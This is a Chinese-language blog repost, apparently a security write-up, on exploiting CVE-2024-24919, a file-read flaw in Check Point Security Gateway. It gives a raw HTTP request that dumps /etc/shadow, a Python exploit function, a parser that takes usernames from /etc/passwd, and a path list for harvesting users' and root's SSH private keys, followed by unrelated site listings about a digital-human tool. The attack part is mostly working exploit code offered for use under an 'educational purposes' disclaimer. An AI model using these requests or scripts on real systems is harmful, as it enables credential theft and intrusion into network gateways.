news 2026/3/12 15:10:47

链式利用CVE-2024–24919:通过Checkpoint安全网关LFI漏洞挖掘敏感SSH密钥

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
链式利用CVE-2024–24919:通过Checkpoint安全网关LFI漏洞挖掘敏感SSH密钥

链式利用CVE-2024–24919:通过Checkpoint安全网关LFI漏洞获取更敏感的发现

2024年4月28日,NVD发布了一个关于Check Point安全网关LFI(本地文件包含)的CVE。更深入的细节可以在https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ 找到,这本质上是一个敏感信息泄露漏洞。攻击者不仅能够泄露普通的敏感信息,甚至可以直接转储/etc/shadow文件,这是非常严重的情况,因为shadow文件包含了机器用户凭证的哈希值。本篇博客并非关于破解shadow文件,而是关于“我们如何链式利用这些敏感文件泄露来发现更敏感的文件,例如SSH密钥”

简单的POC(概念验证)

POST /clients/MyCRL HTTP/1.1 Host: 127.0.0.1 Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i Connection: close aCSHELL/../../../../../../../../../../../etc/shadow

服务器将把shadow文件作为响应返回给你,这非常容易。只需通过POST方法发送路径,我们就能获取shadow文件。如果密码强度很高,用Hashcat破解可能需要很长时间。于是我想,“如果我们有能力读取任何文件,那让我们去读取SSH的id_rsa密钥吧。”

但这很困难。我想检查那里存在的每个用户,看看这些用户的home目录是否包含SSH密钥。
要求:

  1. 用户名
  2. 路径
  3. 自动化检查器

首先,我们来构建检查器,它将像上面的原始请求POC一样向Web服务器发送请求。上面HTTP原始请求的Python3版本如下。

defexploit(ip,path):target=f'https://{ip}/clients/MyCRL'data=f'aCSHELL/../../../../../../../../../../..{path}'headers={'Host':ip,'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0','Te':'trailers','Dnt':'1','Connection':'keep-alive','Content-Length':'48'}try:response=requests.post(target,headers=headers,data=data,verify=False,timeout=5)ifresponse.status_code==200:print(f'{Fore.GREEN}[+]{Fore.WHITE}Dumped{Fore.GREEN}{path}{Fore.WHITE}from{Fore.GREEN}{ip}{Fore.WHITE}successfully')print(f'{Fore.GREEN}[+]{Fore.WHITE}Response:{response.text}')data=f"[+] Dumped{path}from{ip}successfully\n[+] Response:{response.text}\n"withopen('dumped.txt','a')asfile:file.write(data)else:print(f'{Fore.RED}[-]{Fore.WHITE}Failed to dump{Fore.RED}{path}{Fore.WHITE}from{Fore.RED}{ip}{Fore.WHITE}')exceptExceptionase:print(f'{Fore.RED}[-]{Fore.WHITE}Failed to dump{Fore.RED}{path}{Fore.WHITE}from{Fore.RED}{ip}{Fore.WHITE}:{e}')

现在我们需要从服务器提取用户名。通常/etc/passwd文件包含用户列表。

root:!:0:0:root:/:/bin/false nobody:x:99:99:nobody:/nonexistent:/bin/false ntp:x:38:38::/nonexistent:/bin/false rpm:x:37:37::/nonexistent:/bin/false pcap:x:77:77::/nonexistent:/bin/false ace:x:0:0:Linux User,,,:/:/bin/clish joker:x:0:0:Linux User,,,:/:/bin/clish sysBadmin:x:0:0:Linux User,,,:/:/bin/clish Thema:x:0:0:Linux User,,,:/:/bin/clish

有一些不存在的用户,如ntprpmpcap,我们不需要这些用户。因此,让我们编写一个简单的Python3脚本来实现这一点。

defusernames(passwd_content):usernames=[]lines=passwd_content.split('\n')forlineinlines:parts=line.split(':')iflen(parts)>=7:username=parts[0]shell=parts[-1].strip()ifshellnotin['/sbin/nologin','/bin/false','/usr/sbin/nologin','/bin/sync']:usernames.append(username)returnusernames

我通过移除那些使用/sbin/nologin/bin/falseshell的用户简化了这个任务。现在我们有了用户列表,需要为这些用户创建RSA密钥的路径列表。

username=usernames(passwd)sshkeypathlists=[]foruserinusername:sshkeypathlists.append(f'/home/{user}/.ssh/id_rsa')sshkeypathlists.append(f'/home/{user}/.ssh/id_dsa')sshkeypathlists.append(f'/home/{user}/.ssh/id_ecdsa')sshkeypathlists.append(f'/home/{user}/.ssh/id_ed25519')sshkeypathlists.end(f'/home/{user}/.ssh/config')sshkeypathlists.append(f'/home/{user}/.ssh/identity')sshkeypathlists.append(f'/home/{user}/.ssh/id_rsa.pub')sshkeypathlists.append(f'/home/{user}/.ssh/id_dsa.pub')sshkeypathlists.append(f'/home/{user}/.ssh/id_ecdsa.pub')sshkeypathlists.append(f'/home/{user}/.ssh/id_ed25519.pub')sshkeypathlists.append(f'/home/{user}/.ssh/authorized_keys.pub')sshkeypathlists.append(f'/home/{user}/.ssh/known_hosts.pub')sshkeypathlists.append(f'/home/{user}/.ssh/config.pub')sshkeypathlists.append(f'/home/{user}/.ssh/identity.pub')sshkeypathlists.append(f'/root/.ssh/id_rsa')sshkeypathlists.append(f'/root/.ssh/id_dsa')sshkeypathlists.append(f'/root/.ssh/id_ecdsa')sshkeypathlists.append(f'/root/.ssh/id_ed25519')sshkeypathlists.append(f'/home/{user}/.ssh/known_hosts')

id_rsa密钥的泄露通过这种方法得到了更好的梳理,它只会检查root和现有用户的home目录中的密钥。现在,让我们把所有东西结合起来。首先测试一下这些函数是否工作完美。

现在,让我们把它们组合起来,并添加一些并发处理以提高速度。

仅将此脚本用于教育目的,我对您的任何恶意行为概不负责。

感谢Ashraful通知我这个CVE。Ashraful的Twitter:https://x.com/myselfAshraful
CSD0tFqvECLokhw9aBeRqh4hzNr1jcA74GEiU+TM92Y2QfFPyT3PMy/YqFcTbwddRgmtw15BcOqFaRn6qsQZ5lKdz3ZbpXl8L0OXzLCPvKrd2MgSSiisveuodCE+F53+JkX0JqMgBwx21srCGhYSj4XobOwlr/3z1MWNHqNJcN3qptuAYGIH4ysv05HoGb+i
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/11 14:45:09

音乐MV制作可用Sonic?节奏匹配仍需调试

Sonic在音乐MV制作中的应用:节奏匹配的挑战与优化路径 当虚拟偶像登上跨年晚会,当AI歌手发布原创单曲,我们正站在内容创作范式的转折点上。生成式AI不再只是辅助工具,而是开始扮演“表演者”本身——这其中,音频驱动数…

作者头像 李华
网站建设 2026/3/11 6:53:35

英文音频也能驱动Sonic数字人?多语言支持实测

英文音频也能驱动Sonic数字人?多语言支持实测 在短视频、虚拟主播和在线教育日益普及的今天,如何快速生成自然流畅的“会说话”的数字人视频,已成为内容创作者关注的核心问题。传统方案往往依赖复杂的3D建模、动作捕捉设备或高昂的算力资源&a…

作者头像 李华
网站建设 2026/3/12 9:40:22

Sonic动态比例dynamic_scale调至1.2能让表情更生动吗?

Sonic动态比例dynamic_scale调至1.2能让表情更生动吗? 在虚拟主播、AI教师和短视频创作日益普及的今天,一个数字人“像不像真人”,往往不只取决于唇形是否对得上语音,更在于它说话时有没有“情绪”——会不会微笑、皱眉、轻微点头…

作者头像 李华
网站建设 2026/3/10 8:46:35

Sonic数字人技术揭秘:唇形对齐背后的AI原理

Sonic数字人技术揭秘:唇形对齐背后的AI原理 在短视频与虚拟内容爆发的今天,你是否注意到越来越多的“数字人主播”正悄然出现在直播间、政务平台甚至在线课堂?他们口型精准地播报新闻、讲解课程,仿佛真人出镜,但背后其…

作者头像 李华
网站建设 2026/3/10 0:48:37

Sonic数字人如何实现全天候工作?技术实现路径解析

Sonic数字人如何实现全天候工作?技术实现路径解析 在虚拟主播深夜仍在带货、AI客服全年无休应答用户的今天,企业对“724小时在线服务”的需求早已不再是未来设想,而是现实运营的刚性要求。然而,真人出镜受限于体力、成本与响应速度…

作者头像 李华
网站建设 2026/3/10 18:47:49

对比多个数字人模型,Sonic为何脱颖而出?

Sonic为何在数字人赛道中脱颖而出? 在短视频日更成常态、虚拟主播24小时不间断直播的今天,内容生产的速度与质量正面临前所未有的挑战。传统依赖3D建模和动作捕捉的数字人制作方式,动辄需要数天时间、专业团队协作,显然已无法满足…

作者头像 李华